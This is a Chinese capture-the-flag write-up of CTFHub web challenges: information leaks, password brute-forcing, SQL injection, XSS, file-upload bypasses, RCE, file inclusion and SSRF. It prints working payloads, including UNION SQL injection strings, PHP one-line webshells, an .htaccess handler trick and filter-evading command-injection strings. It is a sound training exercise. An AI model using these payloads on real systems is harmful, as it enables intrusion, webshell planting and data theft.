这一部分内容需要我们在CTFHub上完成,我这里主要是完成一些Web相关的练习,话不多说,开始过关
一、信息泄露
1、目录遍历
注意顺序,一个一个找就可以了。。。
得到flag
2、PHPINFO
PHPInfo 函数信息泄露漏洞常发生一些默认的安装包,比如 phpstudy 等,默认安装完成后,没有及时删除这些提供环境测试的文件,比较常见的为 phpinfo.php、1.php 和 test.php,然后通过phpinfo 获取的 php 环境以及变量等信息,但这些信息的泄露配合一些其它漏洞将有可能导致系统被渗透和提权。
点击phpinfo
ctrl+f对关键字flag搜索,找到flag
ctfhub{efd543bfb6efb3e50a29819f}
3、备份文件下载
(1)网站源码
漏洞原因
当开发人员在线上环境中对源代码进行了备份操作,并且将备份文件放在了 web 目录下,就会引起网站源码泄露。
根据提示,我们只需要将常见的文件名和文件后缀一个一个组合尝试
这是错误尝试的结果,经过一系列的尝试,我发现正确的组合为www.zip
点击下载
再查看flag里面的内容,就可以找到flag了,哈哈哈
???这是干集贸呢,难道是需要我们以网页的形式打开看,试一试
ctfhub{7385b72395b62a97eed6303a}
嗖嘎斯内,原来如此.
(2)bak文件
学前了解一下什么是bak文件
bak文件是一种备份文件,通常用于存储原始文件的副本以防止数据丢失或损坏。这些文件通常是通过将原始文件复制到另一个位置或命名为不同的文件扩展名来创建的。备份文件通常用于在系统崩溃或数据丢失时恢复数据。
漏洞原因
当开发人员在线上环境中对源代码进行了备份操作,并且将备份文件放在了 web 目录下,就会引起网站源码泄露。
根据提示发现flag在index.php中,由于是 bak 文件的泄露,所以要在后面添加 .bak。
弹出下载界面,下载后打开看看
得到flag:ctfhub{d190c760f51a13301a3c223b}
(3)vim缓存
在 Vim 中,缓存(buffer)是指当前打开的文件的内容在内存中的副本。当你打开一个文件时,Vim 会将文件内容加载到缓存中,这样你可以在缓存中对文件进行编辑操作。缓存允许你在不保存文件的情况下进行编辑,并且可以在多个缓存之间切换,而不必频繁地打开和关闭文件。当你保存文件时,Vim 会将缓存中的内容写回到文件中。缓存在 Vim 中扮演着非常重要的角色,它使得文件的编辑变得更加高效和灵活。
漏洞原因
当开发人员在线上环境中使用 vim 编辑器,在使用过程中会留下 vim 编辑器缓存,当vim异常退出时,缓存会一直留在服务器上,引起网站源码泄露。在编辑时会创建临时缓存文件,关闭vim时缓存文件则会被删除,当vim异常退出后,因为未处理缓存文件,导致可以通过缓存文件恢复原始文件内容.
由于是 vim 缓存 泄露,所以在要在后面添加 .swp (原因:在 Vim 中,当你打开一个文件进行编辑时,Vim 会在同一目录下创建一个以 .swp
结尾的临时文件,用来保存当前文件的缓存信息。这个临时文件可以帮助恢复数据,防止数据丢失,以及在多个用户同时编辑同一个文件时避免冲突。
如果由于某种原因导致 Vim 缓存泄露,可能会导致数据丢失或文件损坏。为了避免这种情况发生,通常建议在编辑文件时添加 .swp
后缀,这样可以确保 Vim 在保存缓存信息时会将临时文件保存在指定的目录下,而不会影响原始文件的内容。添加 .swp
后缀也可以方便识别这些临时文件,并及时清理或处理。)
后缀添加的 文件名 可能发生变化:
-
第一次文件名可能为 .index.php.swp
-
第二次文件名可能为 .index.php.swo
-
第三次文件名可能为 .index.php.swn
从上到下每一个文明名都试一遍.
也是成功找到了,还是直接打开。
???这又是什么集贸啊,为什么是一堆乱码啊。。。
使用一下别的打开方式,我用wps表格打开发现了完整的flag
不知道对不对,感觉好偷鸡。。。
(4).DS_Store
这道题目我用kali进行的实践
.DS_Store是 Mac OS 保存文件夹的自定义属性的隐藏文件。
.DS_Store是Mac OS系统中的一个隐藏文件,用于存储文件夹的自定义属性和设置。这个文件通常包含文件夹的显示方式、图标位置和其他视觉方面的设置。在Mac系统中,用户可以通过Finder中的“显示视图选项”来自定义文件夹的显示方式,这些设置会被保存在.DS_Store文件中。这个文件通常不会对系统运行产生影响,但如果被删除或损坏可能会导致一些显示问题。
通过.DS_Store可以知道这个目录里面所有文件的清单。
根据提示直接加后缀.DS_Store
下载好了之后再用终端打开
将选中部分用浏览器打开获得flag
ctfhub{5a5e0e0ad074a7ac78a426da}
得到flag
二、密码口令
1、弱口令
只有账户和密码,那就直接burp抓包爆破就可以了。
项目地址:https://github.com/NepoloHebo/Commonly-used-weak-password-dictionary |
此密码字典包含一些简单的弱口令密码序列
这里主要是写一下手工测试的过程,其中一个账号密码是admin/admin,我就直接用了。
还可以直接使用字典。
将代理器服务设置,burp抓包
发送到intruder,并且修改参数为账号和密码。
攻击方式选择第四个焦束炸弹
我这里是手工写了一些,其实也可以用上面的字典里面的账号和密码·,但是由于我现在还没有完全搞懂这个字典,就不误人子弟了。
点击开始攻击,再根据长度回显就可以找到真实的的账号和密码了。
记得先把代理服务器关了。
FIAG:ctfhub{68964b3ac4b83eb302e757a3}
2、默认口令
先了解一下什么是默认口令:默认口令是指在系统或设备中预先设定的、通常是最初安装时自动生成的、供用户登录或访问的初始密码。默认口令通常是为了方便用户快速使用系统或设备,但也容易被黑客或恶意用户利用进行攻击或入侵。因此,为了系统安全起见,用户应当尽快修改默认口令,并设置更强大、复杂的密码来保护自己的账户和数据。
欧克,那就直接上网搜这个的默认口令
好像找到了,admin\eyouadmin,试试看。大败而归。。。
常见网络安全设备弱口令(默认口令) - 小菜鸟当黑客 - 博客园 (cnblogs.com)https://www.cnblogs.com/bflw/p/12938013.html这里找到一个博客,这个应该比较正规.
这里用的是第二个
FLAG:ctfhub{17f8e234f86948e6b90507b1}
三、SQL注入
1、整数型注入
这个也是以前见过的任务了,话不多说,直接开始过关。先看一下总体的过关思路
输入框中输入2-1,查询的结果是1,说明存在整数型注入。(输入框中输入"2-1"实际上被解释为一个数学表达式,计算结果为1,而不是简单的字符串"2-1"。这说明存在整数型注入漏洞)
尝试1 and 1=1和1 and 1=2,and没被过滤
1 and 1=2
使用order by
判断列名 :1 order by 1,2
1 order by 1,2,3
说明有两列。
使用union select
判断注入点,
-1 union slect 1,2
爆库:-1 union select 1,database()
得知库名为sqli
爆表:-1 union select 1,(select table_name from information_schema.tables where table_schema='sqli' limit 0,1)
-1 union select 1,(select table_name from information_schema.tables where table_schema='sqli' limit 0,1)
得知表名为flag和news,可以使用flag这个表去判断字段名
-1 union select 1,(select flag from sqli.flag limit 0,1)
ctfhub{44faf2b97830967946e6d12a}
2、字符型注入
先随便输入一个1
发现为字符型注入,先判断列数
1' order by 1,2,3#
1' order by 1,2#
发现第一个报错,第二个正常回显
判断注入点
-1' union select 1,2#
注入点在2
爆库
-1' union select 1,database()#
得知库名为sqli
爆表
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
爆字段名
-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'#
爆字段内容
-1' union select 1,(select flag from flag)#
得到FILAG
ctfhub{ebf663d96b6271ee515bbb24}
3、报错注入
四、XSS
1、反射型xss
还是了解一下反射型XSS
反射型XSS(Cross-Site Scripting)是一种常见的Web应用程序安全漏洞,攻击者通过构造恶意的URL链接,诱使用户点击访问,从而觩发恶意脚本在用户的浏览器中执行。这种攻击方式通常利用了应用程序对用户输入数据的不正确处理,将恶意脚本注入到应用程序返回的页面中,然后通过URL参数等方式将恶意代码反射给用户,使得恶意脚本在用户浏览器中执行,从而导致信息泄露、会话劫持等安全问题。反射型XSS攻击不会永久性地修改网站的内容,而是在用户访问特定链接时触发恶意脚本的执行。
这里的话,之前的做法是可以弹窗就可以了,也就是页面执行了js语句,但是这里好像弹窗没有什么有用的信息
<script>alert("too water!")</script>
是不是藏在了cookie里面
<script>alert(document.cookie)</script>
但是集贸都没有,到别的博客上了解后发现需要我们自己搭建一个网站
但是实践环境必须在公网上进行,由于条件的限制,这里的关卡就只能以后再去练习了
五、文件上传
1、无验证
先随便上传一个东西看看
发现上传之后给出了上传文件的相对路径。
先写一个一句话木马放在桌面备用
<?php @eval($_POST['hacker']);?>
将写的木马上传后,使用蚁剑打开url,密码就填attack,打开以后就可以找到flag文件了
2、前端验证
还是直接上传那一段木马,发现上传失败
前端靠JavaScript来进行验证
这里直接偷鸡,把火狐里的js禁止了就和无验证一样了
成功上传
得到flag
ctfhub{ca4f8383450c86e336f19f1f}
3、 .htaccess
了解一下,.htaccess是一个用于配置Apache Web服务器的配置文件,它可以用来控制网站的访问权限、重定向URL、设置自定义错误页面等。通过修改.htaccess文件,网站管理员可以对网站进行各种配置和优化,以满足特定需求和提高网站性能。.htaccess文件通常位于网站的根目录下,以点号开头,所以在Windows系统下可能不可见。
那就写一段htaccess代码在记事本上,修改为.htaccess
-
<FilesMatch "1.jpg">
-
SetHandler application/x-httpd-php
-
</FilesMatch>
然后再把一句话木马的后缀改为.jpg
注意,先上传.htaccess
再上传1.jpg
还是使用蚁剑打开
得到flag
4、MIME验证
先了解一下什么是MIME
MIME类型校验就是我们在上传文件到服务端的时候,服务端会对客户端也就是我们上传的文件的Content-Type类型进行检测,如果是白名单所允许的,则可以正常上传,否则上传失败。
上传一句话木马,burp抓包,修改以下内容
放包后使用蚁剑看flag
5、%00截断
url中的%00(只要是这种%xx)的形式,webserver会把它当作十六进制处理,
然后把16进制的hex自动翻译成ascii码值“NULL”,实现了截断burpsuite中16进制编辑器将空格20改成了00。
本质上来说,都是利用0x00是字符串的结束标识符,进行截断处理。
只不过GET传参需要url编码成%00而已
上传以1.jpg(前面用到过的一个),burp抓包,修改如下内容
还是直接用蚁剑查看flag
注意使用相对路径upload/1.php,千万不要使用绝对路径!!!
6、双写后缀
直接把后门文件文件名改为1.pphphp,直接上传,发现上传成功,用蚁剑连接,查找flag
7、文件头检查
每个文件都有自己的标识符,在文件传输时会进行检测
文件头检查,在进行文件上传时不仅对文件格式进行了校验,也对文件内容进行了验证
我们可以把木马文件包含在可验证的文件中 来绕过验证
这个的话,直接burp抓包,把马子写burp上传就可以了,先随便传一张图片
burp抓包,需要改三处地方,文件后缀改为php,加一句小马<?php @eval($_POST[yc]);?>
再修改Content-type为 image/png
然后蚁剑看flag
六、RCE
先复习一下pikachu上的RCE漏洞
RCE(remote command/code execute)概述
RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
远程系统命令执行
一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口
比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 而,如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器
1、eval执行
注意:因为Windows系统有编码空格的问题,所以本题直接在Linux系统里操作了
这段代码是一个简单的PHP脚本,它检查是否有名为cmd
的请求参数。如果存在cmd
参数,则使用eval
函数执行cmd
参数中包含的任何PHP代码。如果cmd
参数不存在或为空,则使用highlight_file
函数来高亮显示当前文件的源代码。
先看一下根目录文件/?cmd=system(“ls”);
没有有用的信息,查看上一级的文件夹/?cmd=system("ls /");
找到了关键文件夹flag_24668,那就好办了,查找flag
/?cmd=system("cat /flag_24668");
成功过关!
2、文件包含
这一关用火狐浏览器去跑,并且需要一个插件hackbar
这段代码接受一个名为"file"的GET参数,并尝试包含用户指定的文件。如果用户指定的文件名中不包含"flag"字符串,则会包含该文件。否则,会输出"Hacker!!!"。
点击下面的shell,发现eval漏洞
我们可以将shell.txt赋值给file,在将flag赋值给ctfhub,这样的话我们就可以成功绕过限制
通过查看根目录,得知有flag,那就直接查找flag
成功得到flag!
3、php://input
这里用到的是php伪协议的知识
补充知识:
php:// 访问各个输入/输出流(I/O streams)
php://input 是个可以访问请求的原始数据的只读流。可以接收post请求作为输入流的输入,将请求作为PHP代码的输入传递给目标变量,以达到以post 的形式进行输入的目的。
还是先看一下这段源码的意思,它检查是否存在名为'file'的GET参数。如果存在该参数,它会检查参数值的前6个字符是否为"php://",如果是,则包含该文件;否则输出"Hacker!!!"。如果不存在'file'参数,则会显示当前文件的代码。
bp抓包
修改标记的这两处地方,得到flag的位置,然后查找flag
得到flag了,没办法复制粘贴,只能手敲了。。。
4、读取源代码
还是关于php伪协议的内容
补充知识
php://filter
resource<--->要过滤的数据流 这是个必要参数。它指定了你需要筛选过滤的数据流(简单来说就是你的数据来源)
read<--->读链的筛选列表 这个参数可选。可以设定一个或多个过滤器名称。以管道符(/)分隔
write<--->读链的筛选列表 这个参数可选。可以设定一个或多个过滤器名称。以管道符(/)分隔
打开题目观察后发现和上一关好像呀,先用上一题的方法试试看。
没有反应,那就用用补充的知识,通过这个可以查找到flag
?file=php://filter/resource=/flag
ctfhub{61318a286abce48551513682}
5、远程包含
映入眼帘的还是老样子,先看看PHP info这个文件,判断是否可以使用php伪协议
这两个选项都开启了,说明可以使用php://input。那就直接burp抓包了,修改以下内容
GET /?file=php://input
<?php system("ls /")?>
<?php system("cat /falg")?>
6、命令注入
命令注入
后台直接执行系统命,一般要结合linux,windows的管道对要执行的命令进行拼接。 过滤的话大致分为两种情况:白名单,黑名单
黑名单是过滤到一些常用的参数,如果过滤的不全面可以考虑用其他相同功能的函数代替;如果黑名单比较全面,那就要考虑用编码的方式尝试绕过。
白名单是限制参数的使用范围,写死了的话应该常规的办法就没有用了。盲猜很多web都是基于白名单的。
可以通过echo,>>等方法生成php文件并写入一句话木马
这一题要求我们ping一个网址
补充知识
linux中命令的链接符号
1.每个命令之间用;隔开
说明:各命令的执行给果,不会影响其它命令的执行。换句话说,各个命令都会执行,但不保证每个命令都执行成功。
2.每个命令之间用&&隔开
说明:若前面的命令执行成功,才会去执行后面的命令。这样可以保证所有的命令执行完毕后,执行过程都是成功的。
3.每个命令之间用||隔开
说明:||是或的意思,只有前面的命令执行失败后才去执行下一条命令,直到执行成功一条命令为止。
4. | 是管道符号。管道符号改变标准输入的源或者是标准输出的目的地。
5. & 是后台任务符号。 后台任务符号使shell在后台执行该任务,这样用户就可以立即得到一个提示符并继续其他工作。
Windows系统中命令的链接符号
“|”:直接执行后面的语句。
“||”:如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才行。
“&”:两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。
“&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能
先随便ping一个,发现有回显
再试试找根目录
然后查找flag,我感觉还是空格编码的问题,直接换linux系统去找,还是无法找到文件内容,那就看看页面源码,看看是否被隐藏
这个老六确实被隐藏在了这里
7、过滤cat
后面的过滤都在kali里面做了
这一关cat被关进小黑屋了。。。
可以试试绕过过滤,使用无意义的符号分割cat,例如/ ' "
1.1.1.1 & c\at flag_103292321347808.php
8、过滤空格
我们可以使用重定向符 < 来代替空格,就可以了
9、过滤目录分隔符
还是试试看一下目录
找到了有flag的目录,那就用cd转换目录去找
127.0.0.1;cd flag_is_here;ls
127.0.0.1;cd flag_is_here;cat flag_536146697793.php
这里还是需要我们先切换目录再去找flag
9、过滤运算符
还是先看一下源码
这些符号不用也罢
127.0.0.1;ls
127.0.0.1;cat flag_331702387615333.php
10、综合过滤练习
这里需要用到hackbar
基本上上面用到的全部都过滤了
补充知识:
空格可以用${IFS}
cat可以用more
flag可以用f***
在linux下,命令分隔符除了;还有%0a
/?ip=127.0.0.1%0als
查找到了flag的位置,还是和上面一样,只不过做一些符号的替换
/?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0als
/?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0abase64${IFS}f***_213041342031921.php
这里只能用编码形式查看,只需要解码就可以了。
七、SSRF
1、内网访问
直接访问就可以了
?url=http://127.0.0.1/flag.php
得到flag